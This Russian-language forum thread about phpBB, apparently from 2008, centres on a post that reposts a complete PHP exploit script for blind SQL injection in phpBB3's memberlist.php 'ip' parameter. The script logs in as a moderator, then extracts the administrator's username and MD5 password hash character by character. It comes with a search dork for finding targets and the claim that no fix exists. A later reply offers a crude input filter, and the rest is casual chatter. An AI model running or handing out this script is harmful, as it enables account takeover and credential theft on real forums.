Старый 03.02.2008, 16:04   #11 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 2,851
Репутация: 1211
Номер ICQ 599613
По умолчанию

ну пагадите с месяцок Найдут)
__________________
Мы те, кто мы есть
Мой личный блог
Devil вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 03.02.2008, 16:45   #12 (permalink)
Администратор
 
Аватар для AleX
 
Специализация: Кодер
Регистрация: 10.01.2008
Адрес: Украина, Киев.
Сообщений: 1,232
Репутация: 631
Номер ICQ 974909
По умолчанию

Опасность: Высокая

Наличие эксплоита: Да

Описание: Найдена уязвимость в популярном форумном движке phpbb3.

Эксплоит, написан на php, запускать из командной строки:

Код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB 3 memberlist.php/'ip' argument SQL injection / admin credentials disclosuren";
echo "by rgod rgod@autistici.orgn";
echo "site: http://retrogod.altervista.orgn";
echo "dork, version specific: "Powered by phpBB * 2002, 2006 phpBB Group"nn";

/*
works regardless of php.ini settings
you need a global moderator account with "simple moderator" role
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONSn";
echo "host: target server (ip/hostname)n";
echo "path: path to phpbb3n";
echo "user/pass: u need a valid user account with global moderator rightsn";
echo "Options:n";
echo " -T[prefix] specify a table prefix different from default (phpbb_)n";
echo " -p[port]: specify a port other than 80n";
echo " -P[ip:port]: specify a proxyn";
echo " -u[number]: specify a user id other than 2 (admin)n";
echo " -x: disclose table prefix through error messagesn";
echo "Example:rn";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-urn";
echo "php ".$argv[0]." localhost /phpbb3/ rgod suntzu-u-u -TPHPBB_ -u7n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$port=80;
$prefix="PHPBB_";
$user_id="2";//admin
$discl=0;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-x")
{
$discl=1;
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="username=".urlencode($user);
$data.="&password=".urlencode($pass);
$data.="&redirect=index.php";
$data.="&login=Login";
$packet="POST ".$p."ucp.php?mode=login HTTP/1.0rn";
$packet.="Referer: http://$host$path/ucp.php?mode=loginrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: text/plainrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp)-1; $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
if (eregi("_u=1;",$cookie))
{
//echo $html."n";//debug
//die("Unable to login...");
}
echo "cookie -> ".$cookie."rn";
if ($discl)
{
$sql="'suntzuuuuu";
echo "sql -> ".$sql."n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cookie: ".$cookie." rnrn";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"You have an error in your SQL syntax"))
{
$temp=explode("posts",$html);
$temp2=explode(" ",$temp[0]);
$prefix=strtoupper($temp2[count($temp2)-1]);
echo "prefix -> ".$prefix."n";sleep(2);
}
}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USER_PASSWORD,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cookie: ".$cookie." rnrn";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$password.=chr($i);echo "password -> ".$password."[???]rn";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="1.1.1.999') UNION SELECT IF ((ASCII(SUBSTRING(USERNAME,".$j.",1))=$i),$user_id,-1) FROM ".$prefix."USERS WHERE USER_ID=$user_id UNION SELECT POSTER_ID FROM ".$prefix."POSTS WHERE POSTER_IP IN ('1.1.1.999";
echo "sql -> ".$sql."n";
$sql=urlencode(strtoupper($sql));
$data="username=";
$data.="&icq=";
$data.="&email=";
$data.="&aim=";
$data.="&joined_select=lt";
$data.="&joined=";
$data.="&yahoo=";
$data.="&active_select=lt";
$data.="&active=";
$data.="&msn=";
$data.="&count_select=eq";
$data.="&count=";
$data.="&jabber=";
$data.="&sk=c";
$data.="&sd=a";
$data.="&ip=".$sql;
$data.="&search_group_id=0";
$data.="&submit=Search";
$packet="POST ".$p."memberlist.php?joined_select=lt&active_select=lt&count_select=eq&sk=c&sd=a&ip=%5C%27&form=post&field=username_list&mode=searchuser&form=post HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cookie: ".$cookie." rnrn";
$packet.=$data;
sendpacketii($packet);
if (!strstr($html,"No members found for this search criteria")) {$admin.=chr($i);echo "password -> ".$admin."[???]rn";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
$j++;
}
echo "--------------------------------------------------------------------rn";
echo "admin -> ".$admin."rn";
echo "password (md5) -> ".$password."rn";
echo "--------------------------------------------------------------------rn";

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
Решение: Способов устранения уязвимости не существует в настоящее время.
__________________
AleX's Blog
AleX на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
3 пользователя(ей) отблагодарили AleX за это сообщение:
Devil (03.02.2008), Kurbatov (03.02.2008), RazorElectric (08.03.2008)
Старый 03.02.2008, 17:09   #13 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 2,851
Репутация: 1211
Номер ICQ 599613
По умолчанию

что и требовалось доказать ))
__________________
Мы те, кто мы есть
Мой личный блог
Devil вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Этот пользователь отблагодарил Devil за это сообщение:
AleX (04.02.2008)
Старый 04.02.2008, 13:54   #14 (permalink)
Новичок
 
Регистрация: 03.02.2008
Сообщений: 3
Репутация: 0
По умолчанию

Про 3 версию я не спорю,гавно оно и есть гавно,но а версия 2.22??? На эту версию не существует ни одного эксплоита=)
:p
BlackEvil вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 04.02.2008, 14:22   #15 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 2,851
Репутация: 1211
Номер ICQ 599613
По умолчанию

BlackEvil, существует совершенно во всех версиях пхпбб, посмотри сылку на тот форум что я давал в посте с описанием уязвимостей
__________________
Мы те, кто мы есть
Мой личный блог
Devil вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 04.02.2008, 15:13   #16 (permalink)
Администратор
 
Аватар для AleX
 
Специализация: Кодер
Регистрация: 10.01.2008
Адрес: Украина, Киев.
Сообщений: 1,232
Репутация: 631
Номер ICQ 974909
По умолчанию

Devil, там еще было
__________________
AleX's Blog
AleX на форуме  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 27.02.2008, 17:24   #17 (permalink)
Новичок
 
Регистрация: 24.02.2008
Сообщений: 13
Репутация: 15
По умолчанию Ответ: PhpBB, что за зверь?

Цитата: Сообщение от AleX Посмотреть сообщение
Решение: Способов устранения уязвимости не существует в настоящее время.

Тогда топором это решить, фильтровать бажную переменную ip. Например, вставить такой-вот скрипт в начало файла memberlist.php

Код:
if(substr_count(strtoupper($_GET['ip']),'UNION')>0){
    $_GET['ip']='';
    $HTTP_GET_VARS['ip']='';
}
if(substr_count(strtoupper($_POST['ip']),'UNION')>0){
    $_POST['ip']='';
    $HTTP_POST_VARS['ip']='';
}

Последний раз редактировалось AleX; 27.02.2008 в 17:25.
RXcoder вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
2 пользователя(ей) отблагодарили RXcoder за это сообщение:
Devil (27.02.2008), Kurbatov (27.02.2008)
Старый 27.05.2008, 18:01   #18 (permalink)
Новичок
 
Специализация: Новичок
Регистрация: 27.05.2008
Сообщений: 5
Репутация: 0
По умолчанию Ответ: PhpBB, что за зверь?

на мой взгляд пхпбб не удачный форум, да он простой, но все же SMF или тот же vBulletin
angel4410 вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 28.05.2008, 19:54   #19 (permalink)
Администратор
 
Аватар для Devil
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: Москва
Сообщений: 2,851
Репутация: 1211
Номер ICQ 599613
По умолчанию Ответ: PhpBB, что за зверь?

поюзал я тут троечку....бред чеслово
__________________
Мы те, кто мы есть
Мой личный блог
Devil вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Старый 29.05.2008, 04:07   #20 (permalink)
System Engineer
 
Аватар для Kurbatov
 
Специализация: Кодер
Регистрация: 05.12.2007
Адрес: РФ, РК, Воркута
Сообщений: 613
Репутация: 267
Номер ICQ 628831
Номер ICQ 632381
По умолчанию Ответ: PhpBB, что за зверь?

angel4410, вобла и точка. Лутьше переплатить 100$ и жить спокойно.
__________________
http://kurbatov.devilart.ru
Kurbatov вне форума  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit! Wong this Post! Добавить в закладки Google
Ответить с цитированием
Ответ

« phpBB 2.0.22 | - »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Direct Admin – что это за зверь? Kurbatov Php 14 18.05.2008 21:27
phpBB 2.0.22 AleX phpBB 1 06.03.2008 20:34
phpBB 3.0.0 Final AleX phpBB 0 05.03.2008 22:59
Что за зверь Phorum? AleX Phorum 0 29.02.2008 19:40
phpBB 2 - интеграция RXcoder phpBB 0 25.02.2008 00:45



Часовой пояс GMT +3, время: 22:15.
vBulletin® версия 7.6.1.
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Web Mastering By Devil Art